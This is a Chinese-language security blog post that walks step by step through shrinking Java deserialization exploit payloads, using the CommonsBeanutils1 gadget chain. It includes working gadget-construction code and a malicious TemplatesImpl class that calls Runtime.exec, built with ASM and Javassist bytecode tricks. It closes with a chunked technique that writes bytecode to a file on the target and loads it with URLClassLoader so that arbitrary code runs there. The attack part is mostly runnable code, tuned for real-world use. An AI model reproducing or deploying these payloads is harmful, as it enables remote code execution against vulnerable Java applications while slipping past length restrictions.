終極Java反序列化Payload縮小技術
介紹
實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的
本文以CommonsBeanutils1鏈為示例,重點在于三部分:
- 序列化數據本身的縮小
- 針對
TemplatesImpl中_bytecodes字節碼的縮小 - 對于執行的代碼如何縮小(
STATIC代碼塊)
接下來我將展示如何一步一步地縮小
最終效果能夠將YSOSERIAL生成的Payload縮小接近三分之二(從3692長度縮小到1296)
YSOSERIAL
首先用YSOSERIAL工具直接生成CB1的鏈,看看Base64處理后的長度
java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser
生成后統計長度為:3692
byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
System.out.println(new String(data).length());
構造Gadget
嘗試不借助YSOSERIAL直接構造CB1的鏈
<dependency> <groupId>commons-beanutilsgroupId> <artifactId>commons-beanutilsartifactId> <version>1.9.2version> dependency>
構造代碼
public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
try {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
return serialize(queue);
} catch (Exception e) {
e.printStackTrace();
}
return new byte[]{};
}
惡意類
public class EvilByteCodes extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
}
讀取字節碼并設置到Gadget中,序列化后統計長度:2728
相比YSOSERIAL直接生成的,縮小了26.1%
byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
System.out.println(new String(my).length());
其實上文中還有三處可以優化:
- 設置
_name名稱可以是一個字符 - 其中
_tfactory屬性可以刪除(分析TemplatesImpl得出) - 其中
EvilByteCodes類捕獲異常后無需處理
setFieldValue(templates, "_name", "t");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}
經過這三處優化后得到長度:2608
相比YSOSERIAL直接生成的,縮小了29.3%
從字節碼層面優化
上文中的EvilBytesCode惡意類的字節碼是可以縮減的
對字節碼進行分析:javap -c -l EvilByteCodes.class
public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
// transform 1
// transform 2
//
//
static {};
Code:
0: invokestatic #2 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
3: ldc #3 // String
5: invokevirtual #4 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
8: pop
9: goto 13
12: astore_0
13: return
Exception table:
from to target type
0 9 12 Class java/lang/Exception
LineNumberTable:
line 11: 0
line 13: 9
line 12: 12
line 14: 13
LocalVariableTable:
Start Length Slot Name Signature
}
可以看出,該類每個方法包含了三部分:
- 代碼對應的字節碼
- ExceptionTable和LocalVariableTable
- LineNumberTable
有JVM相關的知識可以得知,局部變量表和異常表是不能刪除的,否則無法執行
但LineNumberTable是可以刪除的
換句話來說:LINENUMBER指令可以全部刪了
于是我基于ASM實現刪除LINENUMBER
byte[] bytes = Files.readAllBytes(Paths.get(path)); ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); int api = Opcodes.ASM9; ClassVisitor cv = new ShortClassVisitor(api, cw); int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; cr.accept(cv, parsingOptions); byte[] out = cw.toByteArray(); Files.write(Paths.get(path), out);
ShortClassVisitor
public class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
重點在于ShortMethodAdapter:如果遇到LINENUMBER指令則阻止傳遞,可以理解為返回空
public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// delete line number
}
}
讀取編譯的字節碼并處理后替換
Resolver.resolve("/path/to/EvilByteCodes.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
經過優化后得到長度:1832
相比YSOSERIAL直接生成的,縮小了50.3%
使用Javassist構造
以上代碼雖然做到了超過百分之五十的縮小,但存在一個問題:目前的惡意類是寫死的,無法動態構造
想要動態構造字節碼一種手段是選擇ASM做,但有更好的選擇:Javassist
通過這樣的一個方法,就可以根據輸入命令動態構造出Evil類
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {" +
" Runtime.getRuntime().exec(\"" + cmd + "\");" +
" } catch (Exception ignored) {" +
" }");
CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {" +
" }", ctClass);
ctClass.addMethod(ctMethod1);
CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {" +
" }", ctClass);
ctClass.addMethod(ctMethod2);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
將動態生成的字節碼保存至當前目錄,再讀取加載
String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
經過優化后得到長度:1848
相比YSOSERIAL直接生成的,縮小了49.9%
不難發現使用Javassist生成的字節碼似乎本身就不包含LINENUMBER指令
不過這只是猜測,當我使用上文的刪除指令代碼優化后,發現進一步縮小了
...
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
...
// 驗證Payload是否有效
Payload.deserialize(Base64.getDecoder().decode(payload));
經過優化后得到長度:1804
相比YSOSERIAL直接生成的,縮小了51.1%
驗證Payload有效可以彈出計算器
刪除重寫方法
可以發現Evil類繼承自AbstractTranslet抽象類,所以必須重寫兩個transform方法
這樣寫代碼會導致編譯不通過,無法執行
public class EvilByteCodes extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}
}
}
編譯不通過不代表非法,通過手段直接構造對應的字節碼
(1)通過ASM刪除方法
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
if (name.equals("transform")) {
return null;
}
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv, name);
}
(2)通過Javassist直接構造
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {" +
" Runtime.getRuntime().exec(\"" + cmd + "\");" +
" } catch (Exception ignored) {" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
通過以上手段處理后進行反序列化驗證:成功彈出計算器
String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
Payload.deserialize(Base64.getDecoder().decode(payload));
最終優化后得到長度:1332
相比YSOSERIAL直接生成的,縮小了63.9%
并不是所有方法都能刪除,比如不存在構造方法的情況下無法刪除空參構造
于是有了一個新思路:刪除靜態代碼塊,將代碼寫入空參構造
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){" +
" try {" +
" Runtime.getRuntime().exec(\"" + cmd + "\");" +
" }catch (Exception ignored){}" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
最終優化后得到長度:1296
相比YSOSERIAL直接生成的,縮小了64.8%
終極技術:分塊傳輸
以上的內容都在圍繞字節碼和序列化數據的縮小,我認為已經做到的接近極致,很難做到更小的
對于STATIC代碼塊中需要執行的代碼也有縮小手段,這也是更有實戰意義是思考,因為實戰中不是彈個計算器這么簡單
因此可以用追加的方式發送多個請求往指定文件中寫入字節碼,將真正需要執行的字節碼分塊
使用Javassist動態生成寫入每一分塊的Payload,以追加的方式將所有字節碼的Base64寫入某文件
static {
try {
String path = "/your/path";
// 創建文件
File file = new File(path);
file.createNewFile();
// 傳入true是追加方式寫文件
FileOutputStream fos = new FileOutputStream(path, true);
// 需要寫入的數據
String data = "BASE64_BYTECODES_PART";
fos.write(data.getBytes());
fos.close();
} catch (Exception ignore) {
}
}
在最后一個包中將字節碼進行Base64Decode并寫入class文件
(也可以直接寫字節碼二進制數據,不過個人認為Base64好分割處理一些)
static {
try {
String path = "/your/path";
FileInputStream fis = new FileInputStream(path);
// size取決于實際情況
byte[] data = new byte[size];
fis.read(data);
// 寫入Evil.class
FileOutputStream fos = new FileOutputStream("Evil.class");
fos.write(Base64.getDecoder().decode(data));
fos.close();
} catch (Exception ignored) {
}
}
會有師傅產生疑問:為什么要寫這么多的代碼而不用java.nio.file.Files工具類一行實現讀寫
其實我一開始就是使用該工具類在做,后來測試發現受用用Stream讀寫產生的Payload會更小
最后一個包使用URLClassLoader進行加載
注意一個小坑,傳入URLClassLoader的路徑要以file://開頭且以/結尾否則會找不到對應的類
static {
try {
String path = "file:///your/path/";
URL url = new URL(path);
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
Class clazz = urlClassLoader.loadClass("Evil);
clazz.newInstance();
} catch (Exception ignored) {
}
}
代碼
我對常見的反序列化鏈做了總結和測試,效果如下(出了個叛徒)
項目地址:https://github.com/EmYiQing/ShortPayload